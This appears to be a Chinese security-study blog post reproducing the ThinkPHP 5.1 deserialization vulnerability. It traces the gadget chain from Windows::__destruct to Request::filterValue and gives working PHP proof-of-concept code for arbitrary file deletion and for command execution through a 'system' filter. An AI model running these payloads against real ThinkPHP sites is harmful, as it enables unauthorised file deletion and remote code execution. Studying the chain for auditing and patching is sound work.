ThinkPHP5.1反序列化漏洞

前言

在了解完tp的一些规则后,开始本篇反序列化漏洞的复现学习

安装

源码下载链接

没有composer可以去下载,傻瓜式安装即可Composer (getcomposer.org)

使用composer安装

composer create-project topthink/think=5.1.* tp

启动服务

cd tp
php think run

然后就可以在浏览器中访问

http://localhost:8000

搭建成功
ThinkPHP5.1反序列化漏洞_第1张图片

反序列化链分析

反序列化利用点肯定要是从__destruct()开始,所以本条链入口是/thinkphp/library/think/process/pipes/Windows.php的__destruct()

public function __destruct()
{
    $this->close();
    $this->removeFiles();
}

先跟进close()方法,没发现可利用点,在跟进removeFiles()

    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }

这里的$this->files可控,所以通过@unlink存在任意文件删除

POC:

这里以删除我桌面的test.txt为例(反序列化入口写在最后边)


namespace think\process\pipes;

class Pipes{

}

class Windows extends Pipes
{
    private $files = [];

    public function __construct()
    {
        $this->files=["C:\\Users\\del'l'\\Desktop\\test.txt"];
    }
}

echo base64_encode(serialize(new Windows()));

接着看利用点当执行到file_exists($filename)时,file_exists函数会将$filename当做字符串处理从而触发__toString方法

经过寻找找到了\thinkphp\library\think\model\concern\Conversion.php__toString()

public function __toString()
{
    return $this->toJson();
}

跟进__toJson()

public function toJson($options = JSON_UNESCAPED_UNICODE)
{
    return json_encode($this->toArray(), $options);
}

跟进__toArray()前后都有一些执行不到的步骤,直接省略掉了

public function toArray()
{
    $item       = [];
    $hasVisible = false;
    ........................
    if (!empty($this->append)) {
    foreach ($this->append as $key => $name) {
        if (is_array($name)) {
            // 追加关联对象属性
            $relation = $this->getRelation($key);

            if (!$relation) {
                $relation = $this->getAttr($key);
                if ($relation) {
                    $relation->visible($name);
                }
            }
   ........................

这里的$this->append可控,所以$key$name也可控,最后会调用 $relation->visible($name);所以如果$relation可控的话就可以通过调用不可访问的方法触发__call()

先跟进一下getRelation()查看$relation是否可控

public function getRelation($name = null)
{
    if (is_null($name)) {
        return $this->relation;
    } elseif (array_key_exists($name, $this->relation)) {
        return $this->relation[$name];
    }
    return;
}

array_key_exists() 函数检查某个数组中是否存在指定的键名,所以很容易绕过if/else判断,直接return 空,从而通过下一步的if (!$relation)检测,执行getAttr()方法,跟进一下getAttr()

public function getAttr($name, &$item = null)
{
    try {
        $notFound = false;
        $value    = $this->getData($name);
    } catch (InvalidArgumentException $e) {
        $notFound = true;
        $value    = null;
    }
    .....................
    return $value;
}

跟进getData()

public function getData($name = null)
{
    if (is_null($name)) {
        return $this->data;
    } elseif (array_key_exists($name, $this->data)) {
        return $this->data[$name];
    } elseif (array_key_exists($name, $this->relation)) {
        return $this->relation[$name];
    }
    throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

可以回头看一下$name值,$relation = $this->getAttr($key);调用getAttr()时将$this->append的key传给形参$name,之后再调用$getData($name),将刚才的$name传入,所以这里的$name也就是$this->append的key,而这里的第一个elseif处的$this-$data又可控,所以最终的$relation相当于$relation=$this->data[$key],至此$relation$name都可控,就可以通过 $relation->visible($name);触发__call()

但再次之前需要注意一个点__toString()是Conversion的,getAttr()等是Attribute的,无法同时进行,所以我们需要一个类满足同时继承Attribute类和Conversion类。

\thinkphp\library\think\Model.php找到了Model类满足上述的要求

abstract class Model implements \JsonSerializable, \ArrayAccess
{
    use model\concern\Attribute;
    use model\concern\RelationShip;
    use model\concern\ModelEvent;
    use model\concern\TimeStamp;
    use model\concern\Conversion;

但又有了一个问题他是一个抽象类()abstract)无法进行实例化,所以就需要找一个他的非抽象子类,找到了\thinkphp\library\think\model\Pivot.php

问题解决后就需要找适合的__call()了,而且__call一般会存在__call_user_func__call_user_func_array,php代码执行的终点经常选择这里。

找到了\thinkphp\library\think\Request.php

public function __call($method, $args)
{
    if (array_key_exists($method, $this->hook)) {
        array_unshift($args, $this);
        return call_user_func_array($this->hook[$method], $args);
    }

    throw new Exception('method not exists:' . static::class . '->' . $method);
}

但是不能直接利用call_user_func_array执行system,这里$method是visible,$args是之前的$name可控,但是有这行代码:array_unshift($args, $this);。把$this插到了$args的最前面,使得system的第一个参数不可控,没法直接system。因此想办法回调thinkphp中的方法,而且经过一系列构造,最终命令执行中的参数和这里的$args无关。

在Thinkphp的Request类中还有一个filter功能,事实上Thinkphp多个RCE都与这个功能有关。我们可以尝试覆盖filter的方法去执行代码。

private function filterValue(&$value, $key, $filters)
{
    $default = array_pop($filters);

    foreach ($filters as $filter) {
        if (is_callable($filter)) {
            // 调用函数或者方法过滤
            $value = call_user_func($filter, $value);
    ......................

这里有个call_user_func($filter, $value);但参数不可控仍然无法命令执行,但可以通过本类中的input()方法来控制参数

public function input($data = [], $name = '', $default = null, $filter = '')
{
    if (false === $name) {
        // 获取原始数据
        return $data;
    }

    $name = (string) $name;
    if ('' != $name) {
        // 解析name
        if (strpos($name, '/')) {
            list($name, $type) = explode('/', $name);
        }

        $data = $this->getData($data, $name);

        if (is_null($data)) {
            return $default;
        }

        if (is_object($data)) {
            return $data;
        }
    }

    // 解析过滤器
    $filter = $this->getFilter($filter, $default);

    if (is_array($data)) {
        array_walk_recursive($data, [$this, 'filterValue'], $filter);
        if (version_compare(PHP_VERSION, '7.1.0', '<')) {
            // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
            $this->arrayReset($data);
        }
    } else {
        $this->filterValue($data, $name, $filter);
    }

    if (isset($type) && $data !== $default) {
        // 强制类型转换
        $this->typeCast($data, $type);
    }

    return $data;
}

可以看到这三行代码,通过getFilter()方法控制$filter,通过array_walk_recursive()回溯调用刚刚的filterValue()方法

$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
    array_walk_recursive($data, [$this, 'filterValue'], $filter);

先跟进一下getFilter()

protected function getFilter($filter, $default)
{
    if (is_null($filter)) {
        $filter = [];
    } else {
        $filter = $filter ?: $this->filter;
        if (is_string($filter) && false === strpos($filter, '/')) {
            $filter = explode(',', $filter);
        } else {
            $filter = (array) $filter;
        }
    }

    $filter[] = $default;

    return $filter;
    
}

$filter = $filter ?: $this->filter;很明显filter可控了,再看另一个参数$data,如果$data可控,而且$name为空字符串的话,input函数中前面的那些代码if条件就不成立,不构成影响。

在找何处调用input时,发现了param()函数

public function param($name = '', $default = null, $filter = '')
{
    if (!$this->mergeParam) {
        $method = $this->method(true);

        // 自动获取请求变量
        switch ($method) {
            case 'POST':
                $vars = $this->post(false);
                break;
            case 'PUT':
            case 'DELETE':
            case 'PATCH':
                $vars = $this->put(false);
                break;
            default:
                $vars = [];
        }

        // 当前请求参数和URL地址中的参数合并
        $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

        $this->mergeParam = true;
    }

    if (true === $name) {
        // 获取包含文件上传信息的数组
        $file = $this->file();
        $data = is_array($file) ? array_merge($this->param, $file) : $this->param;

        return $this->input($data, '', $default, $filter);
    }

    return $this->input($this->param, $name, $default, $filter);
}

可以看到最后一行调用input,并且第一个参数的值$this->param可控,控制点在上方

$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

$this->param是由本来的$this->param,还有请求参数和URL地址中的参数合并。
但考虑到调用的函数是array_walk_recursive,数组中的每个成员都被回调函数调用,因此其实直接构造$this->param也是可以的,但是考虑到可以动态命令执行,因此就不构造$this->param了,而是把要执行的命令写在get参数里即第二个参数($this->get(false))。

最后就剩下最后一个问题了,就是何处调用了param(),并且调用时$name为空,经过寻找找到了isAjax()

public function isAjax($ajax = false)
{
    $value  = $this->server('HTTP_X_REQUESTED_WITH');
    $result = 'xmlhttprequest' == strtolower($value) ? true : false;

    if (true === $ajax) {
        return $result;
    }

    $result           = $this->param($this->config['var_ajax']) ? true : $result;
    $this->mergeParam = false;
    return $result;
}

在这里进行了调用

$result           = $this->param($this->config['var_ajax']) ? true : $result;

$this->config['var_ajax']是配置文件中的值,只需要让他为空,那么他在调用$this->param时,默认的第一个参数$name就为空,之后再调用input时传入的$name就为空,从而绕过了input函数中的if判断,至此整条链就结束了,简单的回顾下。

__call()方法调用return call_user_func_array($this->hook[$method], $args);,让$this->hook[$method]的值为isAjax就调用了isAjax()函数,函数中$this->param($this->config[‘var_ajax’]) ? true : $result;调用了param()函数,param()的最后一行调用了input()方法,input()中调用array_walk_recursive回调调用filterValue()函数,该函数中$value = call_user_func($filter, $value);进行了命令执行,并通过最后的return返回

public/index.php加上如下两句作为入口

ThinkPHP5.1反序列化漏洞_第2张图片

POC:


namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["Sentiment"=>["hello"]];
        $this->data = ["Sentiment"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

传参命令执行
ThinkPHP5.1反序列化漏洞_第3张图片

参考文章:

Thinkphp 反序列化利用链深入分析 (seebug.org)

Thinkphp5.1 反序列化漏洞复现_bfengj的博客-CSDN博客_tp反序列化

你可能感兴趣的:(php,代码审计,php,安全,web安全)